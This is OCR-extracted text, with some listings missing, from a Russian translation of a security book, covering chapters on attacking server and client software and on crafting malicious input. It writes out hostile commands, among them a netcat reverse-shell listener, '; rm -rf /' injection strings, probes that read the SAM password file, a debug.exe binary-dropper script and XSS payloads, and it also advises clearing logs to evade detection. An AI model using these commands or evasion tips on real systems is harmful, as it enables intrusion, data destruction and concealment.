безопасности и заставляет отслеживать различные функциональные возможности, предоставляемые благодаря поддержке разных технологий. Правила фильтрации и методы защиты теряют актуальность из-за появления все новых и новых технологий. Одним из мощнейших методов хакеров является поиск функциональных возможностей, “забытых” администраторами
в различных “уголках” операционной системы.

Пример 1. Сценарии Perl, встроенные в ASP-страницы
Для хакера является большой удачей, когда библиотека ActivePerl установлена
на Web>сервере Microsoft IIS. В этом случае он может просто встроить Perl>сцена>
рий в ASP>страницу. Для этого сначала нужно загрузить Perl>страницу, затем раз>
местить вредоносный Perl>сценарий на эту страницу и таким образом опосредованно
выполнить Perl>операторы. Подобные программы атаки, как правило, выполняются
с правами учетной записи IUSR, поэтому хакер получает довольно ограниченные
возможности.

152

Глава 4

Пример 2. Встроенные Perl-сценарии, вызывающие функцию
system() для запуска netcat
Рассмотрим следующий программный код.



После загрузки программы netcat, когда у хакера нет возможности ее непосред>
ственного запуска, можно загрузить ASP>страницу со встроенным Perl>сценарием. В
нашем примере программа netcat переходит в режим ожидания соединений на
компьютере хакера с помощью следующей команды.
C:\nc –l –p 53

Итак, установлена привязка к порту, и ожидаются запросы на соединение.
После исполнения Perl>сценария и подключения к компьютеру хакера по адресу
192.168.0.10, хакеру предоставляется доступ к командному интерпретатору уда>
ленного компьютера.

А как насчет неисполняемых файлов?
Проблема доверительных отношений, возникающих вследствие конфигурации
системы, связана не только с программами с расширением файлов .exe. Машинный
код содержится в файлах различных типов, которые, весьма вероятно, могут испол>
няться на удаленной системе. Многие файлы, которые обычно нельзя запустить че>
рез командную строку, можно загрузить с помощью атакуемого процесса. В библио>
теках DLL, например, содержится исполняемый код и источники данных, подобные
обычным исполняемым файлам. Операционная система не загружает библиотеку
DLL как независимо работающую программу, но DLL может быть запущена посред>
ством существующего исполняемогофайла.
Шаблон атаки: использование исполняемого кода в неисполняемых файлах
Хакерам необходимо загрузить или внедрить вредоносный код в атакуемую среду исполнения, причем в некоторых случаях можно обойтись без добавления этого кода в двоичные
файлы. Например, можно внедрить вредоносный код в файл данных, который будет использован атакуемым процессом. В файле данных может содержаться графика или другие данные, и
он может вовсе не предназначаться для хранения исполняемого кода. Но если злоумышленник сможет добавить дополнительные блоки кода в этот файл, то процесс, предназначенный
для загрузки файлов этого типа, может исполнить этот код.

Исполняемые шрифты
В файле шрифта содержится графическая информация о правилах отображения
гарнитуры шрифта. В операционной системе Windows файлы шрифтов являются
особой формой библиотек DLL. Таким образом, файл может содержать исполняе>
мый код. Для создания файла шрифта программисту необходимо всего лишь доба>

Взлом серверных приложений

153

вить данные шрифта к библиотеке DLL. В про>
шедшей отладку DLL может содержаться ис>
полняемый код. Поскольку файл является
файлом ресурса для шрифта, исполняемый
код не будет исполняться по умолчанию. Од>
нако если целью является внесение исполняе>
мого кода в область исполнения атакуемого
процесса для проведения последующей атаки,
то этот трюк может сработать. Если данные
шрифта загружаются с помощью стандартной
процедуры загрузки DLL, то программный код
будет исполнен.
Файлы шрифтов можно создать, написав
библиотеку DLL и добавив к ней ресурс под
названием Font в каталоге ресурсов (рис. 4.3).
Можно, например, создать программу сборки,
которая не содержит исполняемого кода и за>
тем добавить данные шрифта. Программный
код должен быть обработан ассемблером, по> Рис. 4.3. На снимке экрана показано, как
сле чего к нему будут установлены ссылки.
подключаются данные шрифта к стан
дартной библиотеке DLL с помощью
Microsoft Developer Studio

Использование правил политики
Доверительные отношения, устанавливаемые при настройке программного обес>
печения, могут возникать и в результате применения правил политики. Например, в
модели Java 2 решения об установке доверительных отношений могут быть опреде>
лены в политике и затем реализованы с помощью виртуальной машины. Программ>
ному коду Java 2 могут быть предоставлены специальные привилегии, а права дос>
тупа будут проверяться согласно правилам политики при запуске этого кода. Поли>
тика является краеугольным камнем системы. Правила политики могут задаваться
пользователем (неудачное решение) или системным администратором и сохранять>
ся в классе java.security.Policy. Это и есть “ахиллесова пята” системы безо>
пасности Java 2.
Создание согласованных правил политики на высоком уровне детализации тре>
бует немалого опыта и последующей проверки безопасности. Зачастую исполняе>
мый код разделяется по категориям, исходя из исходного адреса URL и секретных
ключей, использованных для создания подписи этого кода. Правила политики ото>
бражают набор правил доступа для программного кода, разделяемого по категориям
согласно информации об отправителе (адрес URL) или цифровой подписи конкрет>
ного блока кода. Любому специалисту понятно, насколько это сложно. На практике
политика Java 2 часто отключается из>за своей чрезмерной сложности. Однако для
хакеров файлы политики являются отличными целями для атаки. Ведь для этих
файлов очень часто предоставляются слишком большие привилегии.

154

Глава 4

Конкретные методы атак
на серверные приложения
Используя базовые принципы создания атак на серверные программы и ошибки в
этих программах, можно создавать различные варианты реально работающих про>
грамм атаки. В этой главе еще будет представлено немало конкретных примеров, в
которых использован целый набор методов атак. Среди рассмотренных методов
можно назвать следующие:
внедрение команд для командного интерпретатора;
использование каналов, портов и прав доступа;
использование свойств файловой системы;
манипулирование переменными среды;
использование внешних переменных;
использование некорректной аутентификации при открытии сеанса;
подбор идентификаторов сеанса;
использование дополнительных возможностей аутентификации;
использование некорректной обработки ошибок.

Внедрение команд для командного интерпретатора
Операционная система располагает многими мощными возможностями, включая
доступ к файлам, сетевые библиотеки и доступ к устройствам. Многие из этих воз>
можностей реализуются за счет функций системных вызовов или других API. Ино>
гда используются библиотеки функций, упакованные в виде специальных модулей.
Например, загрузка DLL, по сути, является загрузкой модуля с новыми функциями.
Многие из этих функций предоставляют широкий доступ к файловой системе.
Командный интерпретатор — это подсистема, предоставляемая операционной сис>
темой. Эта подсистема позволяет пользователю подключаться к машине и вводить ты>
сячи команд, получать доступ к программам и “путешествовать” по файловой системе.
Командный интерпретатор обладает огромными возможностями и иногда предостав>
ляет язык для написания сценариев с целью автоматизировать выполнение заданий.
Стандартными командными редакторами являются программы cmd для систем Win>
dows NT и /bin/sh для систем UNIX. Командный интерпретатор является ключевым
компонентом для автоматизированного выполнения задач. Доступ к командному ин>
терпретатору предоставляется программистам посредством API. Использование ко>
мандного интерпретатора какой>либо программы означает, что эта программа получа>
ет права обычного пользователя. Теоретически программа может выполнять любую
команду, как это происходит при непосредственной передаче команд от пользователя.
Таким образом, при успешном взломе программы, которая имеет доступ к командному
интерпретатору, злоумышленник получает неограниченный доступ к этому команд>
ному интерпретатору посредством другой программы.
Но это весьма упрощенная точка зрения. В действительности воспользоваться
уязвимыми местами можно только тогда, когда команды передаются командному

Взлом серверных приложений

155

интерпретатору, которым управляет удаленный пользователь. Передача входных
данных без всякой фильтрации несет потенциальную угрозу, а возможной она ста>
новится после реализации следующих вызовов API.
system()
exec()
open()

Эти команды вызывают внешние исполняемые файлы и процедуры для осущест>
вления поставленных задач.
Для проверки наличия подобной проблемы используется ввод различных команд,
отделенных разделителями. Для передачи команд можно использовать утилиты ping
или cat. Проверку удаленной системы очень удобно проводить с помощью утилиты
ping. Удобство применения ping состоит в том, что используются одинаковые пара>
метры, независимо от вида операционной системы. Если с помощью брандмауэра ус>
тановлена фильтрация ICMP>пакетов, то можно воспользоваться DNS>запросами. Эти
запросы обычно не блокируются брандмауэром, поскольку служба DNS критически
важна для нормальной работы в сети. Также довольно просто использовать утилиту
cat для загрузки файлов. Существуют буквально миллионы способов для реализации
передачи данных командному интерпретатору. Ниже представлен удачный пример
атакующих входных данных для взлома систем Windows NT.
%SYSTEMROOT%\system32 \ftp
type %SYSTEMROOT%\system32 \drivers \etc \hosts
cd

Команда ftp позволяет установить исходящее FTP>соединение для подключе>
ния к набору IP>адресов. Формат файла hosts определить легко, а команда cd по>
зволяет показать содержимое текущего каталога.

Предотвращение появления мерцающего окна на экране
Как известно, при запуске командного интерпретатора на экране Windows>
системы появляется черное окно командного интерпретатора. Для сидящего за кон>
солью становится очевидно, что происходит что>то подозрительное. Один из спосо>
бов избежать появления этого экрана заключается в установке заплаты в атакуемую
2
программу для непосредственного исполнения команд .
Еще один вариант заключается в исполнении команды с определенными параметра>
ми, которые позволяют управлять названием окна и максимально уменьшить его размер.
start "window name"/MIN cmd.exe /c

Добавление данных в аргументы для команд командного интерпретатора
Шаблон атаки: внесение данных в аргументы
Данные пользователя могут непосредственно передаваться в аргумент команды для командного интерпретатора. Существует большое количество программ третьих производителей, которые позволяют передавать данные в командный интерпретатор с недостаточной
фильтрацией или вообще без нее.

2

Когдато для этой цели существовала программаоболочка под названием elitewarp. Ее
можно найти по адресу http://homepage.ntlworld.com/chawmp/elitewrap/.

156

Глава 4

Внесение данных с помощью тега CFEXECUTE для программы
Cold Fusion
Тег CFEXECUTE используется в сценариях Cold Fusion для запуска команд в опе>
рационной системе. Если команде передаются предоставленные пользователями ар>
гументы, то вполне возможно проведение атаки. Иногда тег CFEXECUTE запускает
команды с неограниченными правами учетной записи администратора, т.е. хакер по>
лучает доступ ко всем ресурсам системы. Рассмотрим следующий вредоносный код.




#Result#

Рис. 4.4. Код приведенного выше листинга служит для создания подобного окна для ввода
данных. С помощью специально подготовленных входных данных хакер может использо
вать этот код в своих целях. Здесь показан один из вариантов вредоносных данных. Об
ратите особое внимание на символ двойной кавычки

В этом случае разработчик хотел разрешить пользователю контролировать толь>
ко строку поиска. Он жестко закодировал искомый каталог для этого поиска. Про>
блема в том, что разработчик некорректно реализовал фильтрацию символа двойной

Взлом серверных приложений

157

3

кавычки . Используя эту ошибку, хакер способен прочесть любой файл. На рис. 4.4
изображено окно для ввода данных, реализованное с помощью приведенного выше
кода. Также показаны вредоносные данные, введенные злоумышленником.
Когда хакер вводит строку данных, показанных на рис. 4.4, возвращается сооб>
щение об ошибке, которое показано на рис. 4.5.

Рис. 4.5. Это сообщение об ошибке отображается при обработке уязвимым CGI
сценарием вредоносных входных данных

Параллельно с выполнением других задач в нашем коде заложено использование
файла output.txt. Доступ к этому файлу позволяет получить двоичное содержи>
мое файла sam. В файле sam хранятся пароли и он является подходящей целью для
классической атаки взлома паролей. Содержимое файла sam показано на рис. 4.6.

Использование во входных данных разделителей команд
Шаблон атаки: разделители команд
Используя символ точки с запятой или другие специальные символы, можно объединить в
одном запросе несколько команд. Уязвимые атакуемые программы выполнят все заданные
команды.

При атаке на CGI>программу входные данные могут выглядеть следующим
образом.


3

Безусловно, разработчику лучше было бы создать “белый список” и перечислить в нем до
пустимые строки поиска. — Прим. авт.

158

Глава 4

Рис. 4.6. Двоичное содержимое файла SAM, запрошенного с помощью вредоносных
входных данных хакера. Используя эти данные, можно начинать взлом паролей

Ниже показаны стандартные команды атаки, которые часто добавляются в суще>
ствующие строки
; rm –rf /; cat temp

exec( "cat data_log_

.dat");

В результате выполняемую команду можно представить следующим образом.
cat data_log_; rm -rf /; cat temp.dat

Взлом серверных приложений

159

Обратите внимание, что в этом примере передаются три команды. Злоумышлен>
ник стирает все файлы из файловой системы (с помощью команды rm), доступ к ко>
торым предоставляется согласно привилегиям выполняемого процесса. Для разде>
ления команд используется символ точки с запятой. Символы разделения команд
очень важны при проведении атак с помощью внесения вредоносных команд. Ши>
роко используемыми символами разделения команд являются следующие символы.
%0a
>
`
;
|
> /dev/null 2>&1 |

Атаки с внесением вредоносных команд довольно популярны, поэтому в систе>
мах обнаружения вторжений обычно есть сигнатуры для выявления подобных
действий хакеров. Стандартная система обнаружения вторжений выявляет такую
атаку хакера, особенно если в атаке используются популярные имена атакуемых
файлов, например /etc/passwd. Для злоумышленника разумнее будет использо>
вать более хитрые команды на атакуемой операционной системе. Избегайте ис>
пользования стандартных команд атаки наподобие cat или ls. Альтернативой
может служить применение шифрования (см. главу 6, “Подготовка вредоносных
данных”). Кроме того, не забывайте, что Web>сервер создает файлы журналов, в
которые заносятся все сведения о входных данных. Поэтому при использовании
подобных атак следует очищать файлы журналов как можно скорее. При этом сле>
дует помнить, что уязвимое место, через которые можно вводить данные, может
подойти и для очистки файлов журналов (если только существуют необходимые
разрешения на доступ к файлам).
Символ возврата каретки часто является допустимым символом разделителя ко>
манд для командного интерпретатора. Это весьма важный момент, поскольку многие
устройства фильтрации не отслеживают передачу этого символа. Иногда фильтры и
регулярные выражения для фильтрации, созданные с должным вниманием, позво>
ляют предотвратить атаки с использованием передачи команд командному интер>
претатору, но ошибки происходят регулярно. Если фильтр не блокирует символа
4
возврата каретки, то весьма вероятен успех атаки с внесением вредоносных данных .

Внесение PHP-команд с использованием разделителя команд
Рассмотрим следующий вредоносный код для кода, приведенного в примере 2.
passthru ("find . -print | xargs cat | grep $test");

На рис. 4.7 показано, что происходит, когда этот код используется при стандарт>
ной атаке с помощью введения данных.

4

Еще раз напоминаем, что гораздо более лучшим средством защиты является исполь
зование “белых списков” допустимых символов, чем создание исключений при любом виде
фильтрации. — Прим. авт.

160

Глава 4

Рис. 4.7. При запуске уязвимого кода из примера 2 можно добиться подобных результатов.
Обратите внимание на вредоносные входные данные, предоставленные хакером. С помо
щью добавления строки ;ls / хакер смог получить список файлов корневого каталога

Шаблон атаки: последовательный анализ и двойное преобразование символов
Иногда передаваемые команды проходят несколько уровней анализа. Поэтому хакер должен предусмотреть возможность двойного преобразования символов (double escape). При
ошибках в таком преобразовании на конечном этапе хакер может получить нужный символ,
подходящий для проведения атаки.

Использование преобразования символов
Хорошим примером проблемы последовательного анализа является символ об>
ратной косой черты (\). Этот символ используется для отделения символов в стро>
ках, но также используется для разделения каталогов в файловой системе Win>
dows NT. При внесении вредоносного кода, включающего в себя имена файлов для
системы Windows NT, следует учесть двойное преобразование символа обратной
косой черты. В некоторых случаях требуется учитывать четверное преобразова>
ние символов.

Взлом серверных приложений

161

C:\\\\winnt\\\\system32\\\\cmd.exe /c

C:\\winnt\\system32\\cmd.exe /c

C:\winnt\system32\cmd.exe /c

На этой диаграмме хорошо виден каждый уровень анализа преобразования (серые
блоки) символа обратной косой черты. При анализе два символа обратной косой
черты преобразуются в один. Используя четыре символа обратной косой черты, ха>
кер добивается нужного результата в окончательной строке.

Создание текстовых файлов путем внесения данных
Используя команду echo, можно создавать текстовый файл на удаленной системе.
cmd /c echo line_of_text >> somefile.txt

Тестовые файлы очень удобно использовать при применении автоматизирован>
ных утилит. Показанные в этом примере символы >> используются для добавления
данных к существующему файлу. Пользуясь этим методом, хакер может “строить”
текстовый файл построчно.

Создание двоичных файлов с помощью debug.exe
Один из улучшенных методов атак, открытие которого приписывают Яну Витеку
(Ian Vitek) из iXsecurity, заключается в создании исполняемых файлов на Windows >
системах. Представленная здесь утилита способна создавать только файлы с расши>
рением .com, но это исполняемый код. Умелое использование этой утилиты позво>
ляет удаленно установить потайной ход.
На вход утилиты отладчика подается файл сценария (с расширением .scr).
Сценарий может содержать различные вызовы для побайтового создания файла на
диске. Используя эту хитрость для создания текстовых файлов, хакер может пере>
дать целый отладочный сценарий на удаленный хост. После создания сценария он
может запустить утилиту debug.exe.
debug.exe < somescript.scr

Эта хитрость может быть использована для создания любого файла размером до
64 Кбайт. Это достаточно много, и созданный файл можно использовать для различ>
ных целей, включая создание исполняемого кода. Среди других вариантов исполь>

162

Глава 4

зования этого метода можно назвать создание ROM>образов на удаленной системе
для последующего доступа к аппаратным средствам.
Полезный сценарий Яна Витека позволяет сконвертировать любой двоичный
файл в сценарий отладчика.
#/usr/bin/perl
# Bin to SCR
$version=1.0;
require 'getopts.pl';
$r = "\n";
Getopts('f:h');
die "\nКонвертируем двоичный файл в SCR-сценарий.\
Version $version by Ian Vitek ian.vitek\@ixsecurity.com\
\usage: $0 -f binfile\
\t-f binfile Двоичный файл для конвертирования\
\t Обратное конвертирование с помощью DOS-команды \
\t debug.exe

Проблемы IMP
Удаленный пользователь может создать вредоносное сообщение электронной
почты на основе HTML, при просмотре которого будет исполняться нужный про>
граммный код в браузере атакуемого компьютера. В результате источником этого
кода будет якобы почтовый сервер, который получит доступ к пользовательским
файлам cookie для электронной почты и передаст эти файлы по другому адресу. По>
скольку система электронной почты доступна с доверенного сервера (вы ведь дове>
ряете своему почтовому серверу, не так ли?), то браузер доверяет информации, по>
ступающей с этого сервера. Это доверие распространяется и на любой вложенный
сценарий. Очевидно, что нельзя оказывать доверие чужим сообщениям электронной
почты. Это серьезный недостаток в архитектуре клиента электронной почты.
С помощью специальных сценариев хакер может, например, заполучить файлы
cookie, связанные с Web>сеансом. Во многих случаях эти файлы позволяют полу>
чить права и привилегии работающего пользователя, т.е. хакер подменяет собой за>
конного пользователя и читает его сообщения.

Ошибка в программе MailSweeper
Когда>то удаленный пользователь мог разместить код JavaScript или VBScript, огра>
ниченный определенными HTML>тегами для обхода правил фильтрации, выполняемой
программой MailSweeper от компании Baltimor Technologies. Например, эта программа
не сможет корректно отфильтровать содержимое двух следующих HTML>тегов.
Щелкните здесь


Ошибка при фильтрации данных JavaScript-тега
в программе Hotmail
В устаревшей версии программы Hotmail пользователь при отправке сообщения
электронной почты мог встроить сценарий в поле FROM (От). Эти данные могли
поступать на атакуемый хост без фильтрации. Например, для проведения атаки в
поле FROM можно было добавить следующий сценарий.
a background=javascript:alert('Это атака') @hotmail.com

Атаки с помощью вредоносного содержимого
Когда клиентское программное обеспечение отображает и исполняет содержимое
медиа>файлов, которые содержат вредоносные данные, то такие атаки называют
атаками с помощью вредоносного содержимого (content>based attack). Диапазон этих
атак очень широк: от замаскированных (вредоносный PostScript>код, с помощью ко>
торого можно буквально сжечь принтер) до явных (использование встроенных

Взлом клиентских программ

205

функциональных возможностей в рамках стандартного протокола для запуска вре>
доносного содержимого).
Шаблон атаки: вызов функции файловой системы
с помощью вредоносного содержимого
Когда полученный файл открывается клиентом, заголовок протокола или встроенный в
медиа-файл фрагмент кода может использоваться при вызове функции ядра. В качестве примеров таких файлов можно назвать музыкальные файлы MP3, файлы архивов ZIP и TAR, а
также более сложные PDF- и PostScript-файлы. Стандартными целями этой атаки являются
файлы приложений Microsoft Word и Excel, которые доставляются получателю как вложения
электронной почты.
Хакеры обычно используют относительные пути к файлам в архивах ZIP, RAR и TAR, чтобы
при их разархивировании перейти в родительские каталоги.

Четыре атаки на Internet Explorer 5
5

1. Правила загрузки файлов (download behaviour ) в Internet Explorer 5 позволяют
удаленным злоумышленникам выполнять чтение интересующих файлов с помо>
щью перенаправления сервера.
2. Благодаря использованию в Internet Explorer элемента управления ActiveX, пред>
загрузчика (preloader), удаленные хакеры могут читать интересующие файлы.
3. Использование уязвимого места в Internet Explorer 5.01 (и более ранних верси>
ях), которое характеризуется тем, что со стороны сервера можно перенаправить
запрос клиента к локальному файлу вместо запроса на сервер, после чего с помо>
щью аплета Java переслать содержимое файла (server>side page reference redirect).
Для доступа к файлу требуется только знать имя каталога и файла.
4. При атаке подмены Web>узла (Web spoofing), которая работает для клиентов
Internet Explorer 3.x и 4.x; а также Netscape 2.x, 3.x и 4.x, злоумышленник должен
сначала заманить пользователя на ложный Web>узел. Затем адрес ложного узла
помещается перед любым URL>адресом, запрашиваемым пользователем, так что
адрес http://www.target.com превращается в http://www.spoofserver.
com-/http://www.target.com. После этого запрошенная пользователем
Web>страница отсылается к нему через ложный сервер, на котором она может
быть изменена, а любая информация, которую передает пользователь, может
быть перехвачена. При этом строка состояния внизу экрана и адрес назначения
6
наверху могут быть изменены с помощью аплетов Java .
5

Выражение download behaviour на сайте MSDN поясняется как “загрузка файла и вызов
заданной функции после окончания загрузки”. — Прим. ред.
6
Атака подмены Webузла была выявлена и описана в 1997 году Эдом Фелтеном (Ad Felten)
и командой Принстонского университета Secure Internet Programming team. Атаки этого типа
эффективны и по сей день. Основная проблема заключается в том, что пользователи до
веряют тому, что отображает клиентская программа. Более подробную информацию по
этой теме можно получить по адресу http://www.cs.princeton.edu/sip/pub/
spoofing.html. — Прим. ред.

206

Глава 5

Контратака: переполнение буфера
на стороне клиента
Нет ничего логичнее, чем атаковать тех, кто атакует тебя. Во многих случаях эта
философия воплощается в сериях атак отказа в обслуживании, направленных против
источника проблем. Как правило, вполне реально узнать, с какого IP>адреса проводит>
ся атака, после чего перейти к ответным действиям. Если хакер достаточно глуп, чтобы
оставить открытые порты в своей системе, можно завладеть его компьютером.
Подобные идеи привели к созданию коварной стратегии защиты — враждебных
сетевых служб, которые выглядят, как привлекательные для атаки цели. Базовый
принцип аналогичен принципу создания подложных хостов, но в данном случае вы>
полняется один важный дополнительный шаг. Поскольку большинство клиентских
программ подвержены атакам на переполнение буфера и в них присутствуют другие
уязвимые места, то очень высока вероятность непосредственного использования
этих уязвимых мест при первой попытке.
Неудивительно, что код клиентских программ обычно не проходит тестирования от>
носительно возможных атак. Вот почему проблемы в программном коде клиентских
приложений намного серьезнее, чем проблемы в серверных приложениях. Если клиент>
ская программа подключается к враждебному серверу, то этот сервер пытается опреде>
лить тип и версию подключающейся клиентской программы. В данном случае речь мо>
жет идти о необычайно широком спектре методов удаленного определения программ.
Как только удается выяснить тип программного обеспечения клиента, враждебный
сервер отправляет ответ, в котором “кроется” атака на переполнение буфера (или на
другое уязвимое место в системе безопасности клиента). Как правило, эта атака не
предназначена для простого вывода из строя клиентской программы. Хакер может
воспользоваться этим методом для внедрения вируса или установки потайного хода в
систему другого злоумышленника (который первым приступил к атакующим дейст>
виям), т.е. использовать соединение этого пользователя против него самого.
Очевидно, что такие контратаки представляют серьезную угрозу для злоумыш>
ленников. Любой, кто планирует провести атаки на чужие системы, должен учиты>
вать возможность проведения контратак. Любое клиентское программное обеспече>
ние следует тщательно проверить перед его использованием.
Шаблон атаки: переполнение буфера в клиентской программе
Хакер получает сведения о типе клиента, который пытается подключиться к его серверу.
Он предоставляет клиенту вредоносные данные для проведения атаки. Возможна установка
потайных ходов.

Переполнение буфера в Internet Explorer 4.0 с помощью тега EMBED
Авторы часто используют теги в своих HTML>документах. Например:


Если хакер предоставит на вход SRC= слишком длинное имя файла, то в биб>
лиотеке mshtml.dll произойдет переполнение буфера. Это стандартный пример

Взлом клиентских программ

207

использования содержимого Web>страницы для взлома уязвимого модуля в сис>
теме. Существуют тысячи путей распространения данных в конкретной системе,
однако описанные атаки широко используются и в настоящее время (более под>
робная информация об атаках на переполнение буфера содержится в главе 7, “Пе>
реполнение буфера”).

Резюме
Атаки на клиентские программы с помощью враждебных серверов стали чрезвы>
чайно распространенными в настоящее время. Обычные пользователи должны осте>
регаться таких атак. Особое значение осторожность приобретает при использовании
стандартных клиентов для тестирования чужих компьютеров или проведения собст>
венной атаки. При использовании уязвимых мест в клиентских программах необяза>
тельно пользоваться вредоносной службой. Атаки с помощью XSS позволяют реали>
зовать непрямой взлом системы посредством уязвимых клиентов.

208

Глава 5

Подготовка вредоносных данных

209

Глава 6

Подготовка вредоносных данных

К

ак мы уже неоднократно подчеркивали, наиболее интересные технологии вы>
числений достаточно сложны. Например, хотя универсальная машина Тьюрин>
га и состоит только из ленты, головок считывания и записи, но даже для нее могут
использоваться очень сложные грамматические конструкции команд. Теоретически
машина Тьюринга способна выполнять любую программу, которая запускается на
самых сложных современных компьютерах. Проблема состоит в том, что преобразо>
вание реальной программы в специальный код для машины Тьюринга не приносит
пользы. Результат преобразования команд современной программы для машины
Тьюринга будет неприемлемым, из>за чего возникнут пробелы в цельной “картине”
архитектуры программы. Например, можно попытаться описать игру в бильярд с по>
мощью методов квантовой физики. Безусловно, сделать это реально, но намного лучше
для описания бильярда воспользоваться классической (ньютоновской) физикой.
Однако на практике все обстоит намного сложнее. Как известно, поведение про>
стых динамических систем (описанных во многих случаях с помощью простых, но
итеративных алгоритмов) со временем усложняется, а поэтому и описать такое по>
ведения весьма сложно. Хотя т.н. теория хаоса позволяет нам моделировать сложные
системы наподобие земной атмосферы, но мы по>прежнему не можем достаточно
формально описать открытые системы. Основная проблема заключается в огромном
многообразии вероятных состояний в будущем, даже в системе, которая описывает>
ся несколькими уравнениями. Из>за этого многообразия понимание и обеспечение
безопасности открытой динамической системы сопряжено с огромными затрудне>
ниями. Программы, которые запускаются на современных подключенных к сети
компьютерах, по сути являются открытыми динамическими системами.
Вообще, действия программного обеспечения определяются двумя основными
факторами: внешними входными данными и внутренним состоянием. Иногда мы
можем наблюдать внешние входные данные или с помощью программы>анализатора
(sniffer), или запоминая данные, которые мы вводим в пользовательский интерфейс
программы. Намного сложнее оценить внутреннее состояние программы, которое
зависит от значений всех битов и байтов, хранящихся в памяти, регистрах процессо>
ра и т.д. Незаметно для пользователя программное обеспечение хранит сотни или
тысячи фрагментов информации, часть которой относится к данным, а часть — к ко>
мандам. Это напоминает комнату, наполненную тысячами разных маленьких пере>

210

Глава 6

ключателей. Допустим, что можно установить каждый переключатель в любой по>
зиции и в любой комбинации, при этом конечное число комбинаций будет резко
возрастать с увеличением числа переключателей (по экспоненциальному закону). В
обычном компьютере количество всех возможных состояний компьютера может
превысить количество звезд во Вселенной. То же самое касается и самого современ>
ного программного обеспечения. По всей видимости, теория нам не поможет.
Подобные теоретические исследования компьютерных систем приводят к оче>
видному выводу о том, что программное обеспечение является слишком сложным
для его моделирования. Расценивая программное обеспечение как “черный ящик”,
мы можем бесконечно долго вводить команды, но при этом мы будем всегда пом>
нить, что буквально следующая команда может привести к сбою в работе програм>
мы. Как раз это обстоятельство и затрудняет тестирование программного обеспече>
ния. Безусловно, исходя из практического опыта, мы знаем определенные последо>
вательности команд, которые могут привести к возникновению ошибок в программе.
Поэтому и существует так много компаний, которые продают программы по обеспе>
чению безопасности приложений, в которых проводится только тестирование по ме>
тоду “черного ящика” (к таким компаниям относятся, например, Kavado, Cenzic,
Sanctum и SPI Dynamics). Фактически, из>за различной сложности программного
обеспечения становится невозможным создание такого средства тестирования по
методу “черного ящика”, с предварительно определенным набором тестов, которое
бы позволяло проверить каждое уязвимое состояние конкретной программы.
В программном обеспечении предусмотрено целое множество способов ввода
информации. Классическими и традиционными “входными данными” считаются
последовательности команд или байты данных. Получив эти данные, программное
обеспечение переходит к принятию решения. Результат обработки входных данных
всегда является каким>то видом выходных данных, а собственно процесс обработки
приводит к большому числу критически важных изменений, касающихся внутрен>
него состояния программы. Во всех (но особенно в самых распространенных) про>
граммах этот процесс настолько сложный, что с течением времени предсказать пове>
дение программы становиться крайне тяжело.
Попытка предсказать внутреннее состояние программы аналогична попытке пре>
дугадать конкретное расположение шестеренок и передач в обычной машине. Поль>
зователь машины может предоставить входные данные (нажав кнопки и повернув
рукоятки) и вести машину. Кнопки и рукоятки “превращаются” в язык программи>
рования для машины. Как процессор компании Intel исполняет машинный код x86,
так и программа из нашего примера — это машина, которая обрабатывает входные
инструкции пользователя.
Очевидно, что посредством тщательно подготовленных входных данных пользова>
тель может серьезно повлиять на внутреннее состояние программы. Даже вредоносные
входные данные используют функции программы. Доступны тысячи разных команд и
миллионы способов их комбинирования. В умении использовать возможности языка
программирования и заключается искусство подготовки входных данных.
Таким образом, хакера следует считать пользователем, который хочет привести
программу в определенное уязвимое состояние. Для хакера основным средством
воздействия являются вредоносные входные данные. В некотором смысле эти вход>
ные данные являются специальным “диалектом” языка, который понимает только
уязвимая программа. Согласно этой логике, атакуемая программа становится специ>

Подготовка вредоносных данных

211

альной машиной, предназначенной для выполнения команд хакера. Исходя из вы>
шесказанного, вполне очевидным является следующий вывод.
Сложная вычислительная система — это механизм для выполнения вредо>
носных компьютерных программ, доставленных в виде специально подготов>
ленных входных данных.

Дилемма защитника
Внешний язык, который определяется правилами входных данных компьютер>
ной программы, всегда является гораздо более сложным, чем это представляется
программисту. Одна из сложностей состоит в том, что программа интерпретирует
команду исходя из своего внутреннего состояния, что очень трудно поддается оцен>
ке. Чтобы установить полное соответствие возможностей специально подготовлен>
ных данных на языке программирования со всеми возможными внутренними со>
стояниями программы, требуется узнать обо всех возможных внутренних состояни>
ях программы, а также обо всех логических решениях в программе, которые влияют
на ее состояние. Поскольку диапазон состояний крайне велик, предсказать что>либо
очень сложно.
Хакеры хотят привести программу в такое состояние, при котором подготовлен>
ные входные данные обеспечат выход программы из строя, а также появится воз>
можность введения собственного кода или запуска привилегированных команд.
Достаточно просто описать ситуации, при которых это возможно. Намного сложнее
доказать, что таких ситуаций не существует. Сложность всегда “на стороне” хакера,
и она практически всегда гарантирует ему успех атак. Как можно сохранить в безо>
пасности что>то непонятное? Специалисты по защите компьютерных систем нахо>
дятся в очень неудобном положении, ведь для защиты от атак нужно знать обо всех
возможных атаках против своей системы, а хакеру для проведения атаки достаточно
найти только одну эффективную программу атаки.
Согласно логике опровержения утверждения (о безопасности системы), доста>
точно найти только один случай, при котором утверждение неверно (т.е. существует
возможность успешного взлома системы). С другой стороны, для доказательства ут>
верждения недостаточно привести один или более примеров, когда утверждение
справедливо (т.е. примеры неудачных попыток взлома).
Очевидно, что обеспечение защиты является весьма сложной задачей и даже
практически невозможной в некоторых случаях. Под “видимой” логикой вычисли>
тельной системы скрывается “дракон сложности”. Долгие годы некоторые постав>
щики программ по обеспечению безопасности игнорировали наиболее серьезные
трудности, давая нереальные обещания, которые были основаны на нескольких про>
стых примерах.
Брандмауэры, антивирусные системы и системы обнаружения вторжений пред>
ставляют собой технологии, которые работают в ответ на сложившуюся ситуацию.
Эти системы пытаются остановить “опасные” входные данные и предотвратить про>
ведение опасных вычислений. Значительно эффективнее было бы создать более
сложную вычислительную систему, которая бы не требовала такой защиты. Про>
блема усугубляется следующим обстоятельством: как правило, вообще непонятно,
что следует блокировать, а что — нет. Не существует универсального списка недо>

212

Глава 6

пустимых входных данных, поскольку в каждой программе используется свой уни>
кальный “язык”.
Повторим еще раз: создание списка допустимых входных данных (“белый список”)
значительно эффективнее, чем создание “черных списков” блокируемых данных. Вме>
сто того чтобы заниматься определением всех возможных вредоносных входных
данных, лучше создать список “того, что разрешено” и придерживаться этого списка.
В этом и заключается принцип наименьших привилегий. Предоставляйте своим
программам столько прав, сколько им необходимо для нормальной работы, и ничего
более. Не следует предоставлять слишком большие привилегии, а затем блокировать
входные данные.

Фильтры
Некоторые программисты, которые с недавних пор начали беспокоиться о безо>
пасности, стремятся добавить фильтры или специальный код для блокирования
1
“некорректных” запросов . Вместо того чтобы в первую очередь устранить возмож>
